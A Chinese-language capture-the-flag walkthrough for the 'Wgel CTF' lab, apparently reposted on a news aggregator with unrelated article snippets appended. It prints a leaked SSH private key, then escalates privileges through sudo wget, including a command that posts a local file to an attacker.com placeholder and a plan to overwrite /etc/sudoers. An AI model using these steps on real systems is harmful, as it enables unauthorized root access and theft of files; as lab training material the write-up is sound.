Wgel CTF

news/2025/11/19 0:17:17/文章来源:https://www.cnblogs.com/yatq/p/19239839

Wgel CTF

刚进去发现是Ubuntu-Apache2的默认界面

源码注释:

 <!-- Jessie don't forget to udate the webiste -->

目录扫描:

[12:06:23] Starting: 
[12:06:27] 403 -  278B  - /.ht_wsr.txt                                      
[12:06:27] 403 -  278B  - /.htaccess.bak1                                   
[12:06:27] 403 -  278B  - /.htaccess.orig                                   
[12:06:27] 403 -  278B  - /.htaccess.save                                   
[12:06:27] 403 -  278B  - /.htaccess.sample                                 
[12:06:27] 403 -  278B  - /.htaccess_extra                                  
[12:06:27] 403 -  278B  - /.htaccessBAK
[12:06:27] 403 -  278B  - /.htaccess_orig
[12:06:27] 403 -  278B  - /.htaccessOLD
[12:06:27] 403 -  278B  - /.htaccess_sc
[12:06:27] 403 -  278B  - /.htaccessOLD2
[12:06:27] 403 -  278B  - /.htm                                             
[12:06:27] 403 -  278B  - /.html
[12:06:27] 403 -  278B  - /.htpasswd_test                                   
[12:06:27] 403 -  278B  - /.htpasswds                                       
[12:06:27] 403 -  278B  - /.httr-oauth
[12:07:27] 403 -  278B  - /server-status
[12:07:27] 403 -  278B  - /server-status/                                   
[12:07:30] 301 -  316B  - /sitemap  ->  http://10.201.121.59/sitemap/   

找到一个好用的字典:

接着扫描:

~$ gobuster dir -u http://10.201.13.133/sitemap/ -w ~/SecLists/Discovery/Web-Content/big.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.201.13.133/sitemap/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /home/Birkenwald/SecLists/Discovery/Web-Content/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/.ssh                 (Status: 301) [Size: 321] [--> http://10.201.13.133/sitemap/.ssh/]
/css                  (Status: 301) [Size: 320] [--> http://10.201.13.133/sitemap/css/]
/fonts                (Status: 301) [Size: 322] [--> http://10.201.13.133/sitemap/fonts/]
/images               (Status: 301) [Size: 323] [--> http://10.201.13.133/sitemap/images/]
/js                   (Status: 301) [Size: 319] [--> http://10.201.13.133/sitemap/js/]
Progress: 20481 / 20482 (100.00%)
===============================================================
Finished
===============================================================

我们可以看到.ssh被泄露,访问呢之后可以拿到rsa私钥.

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA2mujeBv3MEQFCel8yvjgDz066+8Gz0W72HJ5tvG8bj7Lz380
m+JYAquy30lSp5jH/bhcvYLsK+T9zEdzHmjKDtZN2cYgwHw0dDadSXWFf9W2gc3x
W69vjkHLJs+lQi0bEJvqpCZ1rFFSpV0OjVYRxQ4KfAawBsCG6lA7GO7vLZPRiKsP
y4lg2StXQYuZ0cUvx8UkhpgxWy/OO9ceMNondU61kyHafKobJP7Py5QnH7cP/psr
+J5M/fVBoKPcPXa71mA/ZUioimChBPV/i/0za0FzVuJZdnSPtS7LzPjYFqxnm/BH
Wo/Lmln4FLzLb1T31pOoTtTKuUQWxHf7cN8v6QIDAQABAoIBAFZDKpV2HgL+6iqG
/1U+Q2dhXFLv3PWhadXLKEzbXfsAbAfwCjwCgZXUb9mFoNI2Ic4PsPjbqyCO2LmE
AnAhHKQNeUOn3ymGJEU9iJMJigb5xZGwX0FBoUJCs9QJMBBZthWyLlJUKic7GvPa
M7QYKP51VCi1j3GrOd1ygFSRkP6jZpOpM33dG1/ubom7OWDZPDS9AjAOkYuJBobG
SUM+uxh7JJn8uM9J4NvQPkC10RIXFYECwNW+iHsB0CWlcF7CAZAbWLsJgd6TcGTv
2KBA6YcfGXN0b49CFOBMLBY/dcWpHu+d0KcruHTeTnM7aLdrexpiMJ3XHVQ4QRP2
p3xz9QECgYEA+VXndZU98FT+armRv8iwuCOAmN8p7tD1W9S2evJEA5uTCsDzmsDj
7pUO8zziTXgeDENrcz1uo0e3bL13MiZeFe9HQNMpVOX+vEaCZd6ZNFbJ4R889D7I
dcXDvkNRbw42ZWx8TawzwXFVhn8Rs9fMwPlbdVh9f9h7papfGN2FoeECgYEA4EIy
GW9eJnl0tzL31TpW2lnJ+KYCRIlucQUnBtQLWdTncUkm+LBS5Z6dGxEcwCrYY1fh
shl66KulTmE3G9nFPKezCwd7jFWmUUK0hX6Sog7VRQZw72cmp7lYb1KRQ9A0Nb97
uhgbVrK/Rm+uACIJ+YD57/ZuwuhnJPirXwdaXwkCgYBMkrxN2TK3f3LPFgST8K+N
LaIN0OOQ622e8TnFkmee8AV9lPp7eWfG2tJHk1gw0IXx4Da8oo466QiFBb74kN3u
QJkSaIdWAnh0G/dqD63fbBP95lkS7cEkokLWSNhWkffUuDeIpy0R6JuKfbXTFKBW
V35mEHIidDqtCyC/gzDKIQKBgDE+d+/b46nBK976oy9AY0gJRW+DTKYuI4FP51T5
hRCRzsyyios7dMiVPtxtsomEHwYZiybnr3SeFGuUr1w/Qq9iB8/ZMckMGbxoUGmr
9Jj/dtd0ZaI8XWGhMokncVyZwI044ftoRcCQ+a2G4oeG8ffG2ZtW2tWT4OpebIsu
eyq5AoGBANCkOaWnitoMTdWZ5d+WNNCqcztoNppuoMaG7L3smUSBz6k8J4p4yDPb
QNF1fedEOvsguMlpNgvcWVXGINgoOOUSJTxCRQFy/onH6X1T5OAAW6/UXc4S7Vsg
jL8g9yBg4vPB8dHC6JeJpFFE06vxQMFzn6vjEab9GhnpMihrSCod
-----END RSA PRIVATE KEY-----

这时候我们想起前面的注释提到的名字.猜测可能是用户名:

chmod 400 id_rsa.txt
sudo ssh -i id_rsa.txt jessie@10.201.13.133

连接之后我们搜索到当前用户能够访问到的flag:

>find / -name *flag*
/home/jessie/Documents/user_flag.txt

然后我们执行sudo -l 查看有没有哪些不需要密码就可以以root权限执行的命令:

注意sudo -i显示的内容在/etc/sudoers中.

发现wget可以利用.

这里有两种打法:

  • 通过覆盖etc/sudoers文件,修改不用密码可root权限执行的命令的范围.

  • 通过猜测在root目录下flag文件名为root_flag.txt来直接读取.

    具体利用手法参考:https://gtfobins.github.io/gtfobins/wget/

思路一:

上传出来要改写的具体文件内容:
URL=http://attacker.com/
LFILE=file_to_send
wget --post-file=$LFILE $URL改写后:
URL=http://attacker.com/file_to_get
LFILE=file_to_save
wget $URL -O $LFILE

思路二:

LFILE=file_to_read
wget -i $LFILE

成功拿到root_flag.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/969483.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Pickle Rick

Pickle Rick #################### 正在进行目录扫描..._|. _ _ _ _ _ _|_ v0.4.3(_||| _) (/_(_|| (_| )Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 1226…

在ec2上部署qwen-image模型

参考资料https://zhuanlan.zhihu.com/p/1937260131931882107https://blog.csdn.net/qq_52065352/article/details/150394958https://qianwen-res.oss-cn-beijing.aliyuncs.com/Qwen-Image/Qwen_Image.pdfhttps://model…

一种成熟的状态机

好的!我将线程化状态机实现拆分为头文件和源文件的形式。 1. 头文件 ThreadedStateMachine.hcpp#ifndef THREADED_STATE_MACHINE_H #define THREADED_STATE_MACHINE_H#include <iostream> #include <map>…

linux c 文件删除文件夹

在 Linux 系统中,删除一个文件夹及其内部的所有文件和子文件夹(包括空文件夹)可以使用 rm -r 命令。以下是几种常见的方法:方法 1:使用 rm -r 命令(最常用) rm -r /path/to/folder-r:递归删除(包括子目录) /…

linux c 指针

在 Linux 系统中,C 指针(C Pointer)是用于内存管理和数据结构操作的重要概念。C 语言中的指针是一种非常灵活的工具,可以用来访问和操作内存地址,从而实现高效的程序设计。一、C 指针的基本概念指针:是一个变量,…

AI元人文的“双模决策”体系:自动驾驶与人机协作——附语:关于一个思维陷阱的坦诚

AI元人文的“双模决策”体系:自动驾驶与人机协作 ——附语:关于一个思维陷阱的坦诚 AI元人文构建的双层决策架构:“自动驾驶模式”(基于嵌入式价值协议的自主裁决) 对应场景:绝大多数有预案、可预测的常规及紧急…

2025留学生名企内推首选清单:从实习到入职全程护航,5家实力机构深度测评

2025留学生名企内推首选清单:从实习到入职全程护航,5家实力机构深度测评一、2025年留学生名企内推怎么选?这五个问题你可能正在纠结 作为深耕留学生求职规划领域十年的顾问,我每天都会接到大量留学生及家长的咨询。…

2025新加坡留学机构推荐:从新国大到南洋理工,选对中介少走弯路

2025新加坡留学机构推荐:从新国大到南洋理工,选对中介少走弯路一、2025年新加坡留学中介怎么选?这五个问题你可能正在纠结 作为深耕国际教育规划领域十余年的咨询师,我每天都会接待大量计划赴新留学的学生和家长。…

11.18工作汇总

今日主要完成任务:名人经历搜索上线 明天任务安排: 准备alpha阶段发布 燃尽图

OI 笑传 #30

SuzumenoNamida怎么用 suzume 当摘要阅读这么多,suzume桑是你引的流吗。。。那我再试试。 今天是 ABC432 的 CDEF。超绝注意力场+码力场。 赛时发现 C 比较问号于是去看 DE,结果心血来潮想去把 D 写了,结果还真写出…

2025年11月马来西亚留学中介排名:从本科到博士的专属申请方案

2025年11月马来西亚留学中介排名:从本科到博士的专属申请方案一、2025年马来西亚留学中介怎么选?这五个问题你可能正在纠结 作为一位深耕东南亚国际教育规划领域十年的咨询师,我每天都会接待大量计划赴马留学的学生…

rust基础第一篇:环境搭建

rust基础第一篇:环境搭建windows环境,cargo build报错error: linking with `link.exe` failed: exit code: 1

43

所学时间;9小时

Windows-Delivery-Optimization

Windows-Delivery-Optimization导航 (返回顶部)1. Dosvc 2. 传递优化的副作用2.1 关闭传递优化 2.2 设置服务失败后的操作 2.3 禁用端口7680 2.4 删除超大文件3. 设置传递优化 4. 扩展阅读4.1 如何在 Windows 中创建和…

2025韩国留学选中介不踩坑,5家高性价比机构深度测评

2025韩国留学选中介不踩坑,5家高性价比机构深度测评一、2025年韩国留学中介怎么选?这五个问题你可能正在纠结 作为一位深耕东亚留学规划领域十年的咨询师,我每天都会接待大量准备赴韩留学的学生和家长。2025年韩国留…

今晚Cloudflare一哆嗦,我的加班计划全泡汤

事情发生在今晚加班的黄金时间。我正对着代码发愁,想着让ChatGPT帮我debug一下。结果连续三次重试,等来的都是冷冰冰的错误页面。 "行吧,AI也有累的时候",我自我安慰着,顺手想点开X摸鱼五分钟。 结果呢…

老技术人的离开“总是悄无声息

老技术人的"离开“总是悄无声息2025-11-18 23:42 潇湘隐者 阅读(0) 评论(0) 收藏 举报Kerry Osborne的个人网站(http://kerryosborne.oracle-guy.com/)已经有两个多星期打不开了。也不清楚发生了啥事情,好几…

申请澳洲八大认准这些中介!2025年11月高录取率留学机构全解析

申请澳洲八大认准这些中介!2025年11月高录取率留学机构全解析一、2025年澳洲留学中介怎么选?这五个问题你可能正在纠结 作为一位深耕国际教育规划领域十余年的咨询师,我每天都会接待大量计划赴澳留学的学生和家长。…

2025年11月香港留学机构TOP5:高录取率中介都在这,八大申请测评推荐

2025年11月香港留学机构TOP5:高录取率中介都在这,八大申请测评推荐一、2025年香港留学中介怎么选?这五个问题你可能正在纠结 作为一位深耕国际教育规划领域十余年的咨询师,我每天都会接待大量准备申请香港留学的学…